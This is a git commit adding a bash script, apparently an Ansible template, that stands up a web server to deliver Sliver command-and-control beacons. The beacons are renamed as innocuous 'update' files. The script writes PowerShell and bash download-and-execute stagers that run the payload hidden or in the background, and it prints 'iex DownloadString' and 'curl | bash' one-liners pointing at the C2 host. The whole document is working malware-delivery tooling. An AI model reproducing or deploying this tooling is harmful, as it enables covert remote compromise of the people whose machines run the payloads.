getting closer

2025-04-16 00:49:18 -04:00
parent d415891db3
commit 17b9191553
3 changed files with 253 additions and 186 deletions
@@ -0,0 +1,197 @@
+#!/bin/bash
+# Script to serve Sliver beacons generated by generate_evasive_beacons.sh
+
+# Configuration
+BEACONS_DIR="/opt/beacons"
+C2_HOST="{{ ansible_host }}"
+LISTEN_PORT=8443
+
+# Check if manifest file exists (created by generate_evasive_beacons.sh)
+if [ -f "$BEACONS_DIR/manifest.json" ]; then
+    echo "[+] Found beacon manifest file - using Sliver beacons generated previously"
+    # Extract beacon paths from manifest
+    WIN_EXE=$(jq -r '.windows_exe' "$BEACONS_DIR/manifest.json")
+    WIN_DLL=$(jq -r '.windows_dll' "$BEACONS_DIR/manifest.json")
+    LINUX_BIN=$(jq -r '.linux_binary' "$BEACONS_DIR/manifest.json")
+    MAC_BIN=$(jq -r '.macos_binary' "$BEACONS_DIR/manifest.json")
+    WIN_STAGER=$(jq -r '.windows_stager' "$BEACONS_DIR/manifest.json")
+    
+    # Print beacon info
+    echo "[+] Using these Sliver beacons:"
+    echo "    - Windows EXE: $WIN_EXE"
+    echo "    - Windows DLL: $WIN_DLL"
+    echo "    - Linux Binary: $LINUX_BIN"
+    echo "    - macOS Binary: $MAC_BIN"
+    echo "    - Windows Stager: $WIN_STAGER"
+else
+    echo "[!] No manifest file found. Please run generate_evasive_beacons.sh first."
+    echo "[!] Will search for beacons in $BEACONS_DIR..."
+    
+    # Try to find beacons directly
+    WIN_EXE=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.exe" ! -path "*/staged/*" | head -n 1)
+    WIN_DLL=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.dll" | head -n 1)
+    LINUX_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -type f -executable -not -path "*/\.*" ! -name "*.sh" ! -name "*.exe" ! -name "*.dll" | head -n 1)
+    MAC_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -name "*mac*" -o -name "*darwin*" | head -n 1)
+    WIN_STAGER=$(find "$BEACONS_DIR/staged" -name "*.exe" | head -n 1)
+    
+    # Check if we found any beacons
+    if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
+        echo "[!] No Sliver beacons found. Please run generate_evasive_beacons.sh first."
+        exit 1
+    fi
+fi
+
+# Create temporary directory for web server
+TEMP_DIR=$(mktemp -d)
+mkdir -p $TEMP_DIR/downloads
+mkdir -p $TEMP_DIR/scripts
+
+# Copy beacons to web directory with generic names
+if [ -n "$WIN_EXE" ]; then
+    cp "$BEACONS_DIR/$WIN_EXE" $TEMP_DIR/downloads/update.exe
+    echo "[+] Serving Windows EXE: $WIN_EXE"
+fi
+
+if [ -n "$WIN_DLL" ]; then
+    cp "$BEACONS_DIR/$WIN_DLL" $TEMP_DIR/downloads/module.dll
+    echo "[+] Serving Windows DLL: $WIN_DLL"
+fi
+
+if [ -n "$LINUX_BIN" ]; then
+    cp "$BEACONS_DIR/$LINUX_BIN" $TEMP_DIR/downloads/update-linux
+    echo "[+] Serving Linux Binary: $LINUX_BIN"
+fi
+
+if [ -n "$MAC_BIN" ]; then
+    cp "$BEACONS_DIR/$MAC_BIN" $TEMP_DIR/downloads/update-mac
+    echo "[+] Serving macOS Binary: $MAC_BIN"
+fi
+
+if [ -n "$WIN_STAGER" ]; then
+    cp "$BEACONS_DIR/$WIN_STAGER" $TEMP_DIR/downloads/stager.exe
+    echo "[+] Serving Windows Stager: $WIN_STAGER"
+fi
+
+# Copy loader scripts if they exist
+if [ -f "$BEACONS_DIR/windows_loader.ps1" ]; then
+    cp "$BEACONS_DIR/windows_loader.ps1" $TEMP_DIR/scripts/
+    echo "[+] Serving Windows PowerShell loader"
+fi
+
+if [ -f "$BEACONS_DIR/linux_loader.sh" ]; then
+    cp "$BEACONS_DIR/linux_loader.sh" $TEMP_DIR/scripts/
+    echo "[+] Serving Linux bash loader"
+fi
+
+# Create additional PowerShell downloader script
+cat > $TEMP_DIR/scripts/beacon.ps1 << 'EOFPS'
+# PowerShell downloader for Sliver beacons
+$ErrorActionPreference = 'SilentlyContinue'
+[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
+
+# Random temporary file
+$tempFile = Join-Path $env:TEMP ("update-" + (New-Guid) + ".exe")
+
+# Download and execute
+try {
+    $webClient = New-Object System.Net.WebClient
+    $webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
+    $webClient.DownloadFile("http://C2HOST:C2PORT/downloads/update.exe", $tempFile)
+    Start-Process -WindowStyle Hidden $tempFile
+    "Successfully downloaded and executed update."
+} catch {
+    "Error during update process."
+}
+EOFPS
+
+# Replace placeholders
+sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.ps1
+sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.ps1
+
+# Create Linux bash download script
+cat > $TEMP_DIR/scripts/beacon.sh << 'EOFSH'
+#!/bin/bash
+# Linux download and execute Sliver beacon
+
+# Download binary to /tmp with random name
+TMPFILE="/tmp/update-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
+curl -s -o $TMPFILE http://C2HOST:C2PORT/downloads/update-linux
+chmod +x $TMPFILE
+
+# Execute in background
+$TMPFILE &
+
+echo "Update complete."
+EOFSH
+
+# Replace placeholders
+sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.sh
+sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.sh
+chmod +x $TEMP_DIR/scripts/beacon.sh
+
+# Create helpful index page
+cat > $TEMP_DIR/index.html << EOL
+<!DOCTYPE html>
+<html>
+<head>
+    <title>Sliver Beacon Downloads</title>
+    <style>
+        body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
+        h1 { color: #333; }
+        .section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
+        .warning { color: #a00; font-weight: bold; }
+        code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
+    </style>
+</head>
+<body>
+    <h1>Sliver Beacon Downloads</h1>
+    <div class="section">
+        <h2>Available Beacons</h2>
+        <ul>
+            <li><a href="/downloads/update.exe">Windows Beacon</a></li>
+            <li><a href="/downloads/module.dll">Windows DLL Beacon</a></li>
+            <li><a href="/downloads/update-linux">Linux Beacon</a></li>
+            <li><a href="/downloads/update-mac">macOS Beacon</a></li>
+            <li><a href="/downloads/stager.exe">Windows Stager</a></li>
+        </ul>
+    </div>
+    <div class="section">
+        <h2>Auto-Download Scripts</h2>
+        <ul>
+            <li><a href="/scripts/beacon.ps1">Windows PowerShell Downloader</a></li>
+            <li><a href="/scripts/beacon.sh">Linux Bash Downloader</a></li>
+            <li><a href="/scripts/windows_loader.ps1">PowerShell C2 Loader</a></li>
+            <li><a href="/scripts/linux_loader.sh">Bash C2 Loader</a></li>
+        </ul>
+    </div>
+    <div class="section">
+        <h2>Quick Commands</h2>
+        <p>Windows PowerShell:</p>
+        <code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')"</code>
+        <p>Linux Bash:</p>
+        <code>curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash</code>
+    </div>
+</body>
+</html>
+EOL
+
+# Start Python HTTP server in background
+cd $TEMP_DIR
+nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
+SERVER_PID=$!
+echo "[+] Started Sliver beacon server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
+
+# Print useful information for the operator
+echo "[+] Sliver beacons server is now running at http://$C2_HOST:$LISTEN_PORT/"
+echo "[+] Available Sliver beacons:"
+echo "    - http://$C2_HOST:$LISTEN_PORT/downloads/update.exe (Windows EXE)"
+echo "    - http://$C2_HOST:$LISTEN_PORT/downloads/module.dll (Windows DLL)"
+echo "    - http://$C2_HOST:$LISTEN_PORT/downloads/update-linux (Linux Binary)"
+echo "    - http://$C2_HOST:$LISTEN_PORT/downloads/update-mac (macOS Binary)"
+echo "    - http://$C2_HOST:$LISTEN_PORT/downloads/stager.exe (Windows Stager)"
+echo ""
+echo "[+] Quick PowerShell download command:"
+echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')\""
+echo ""
+echo "[+] Quick Linux download command:"
+echo "curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash"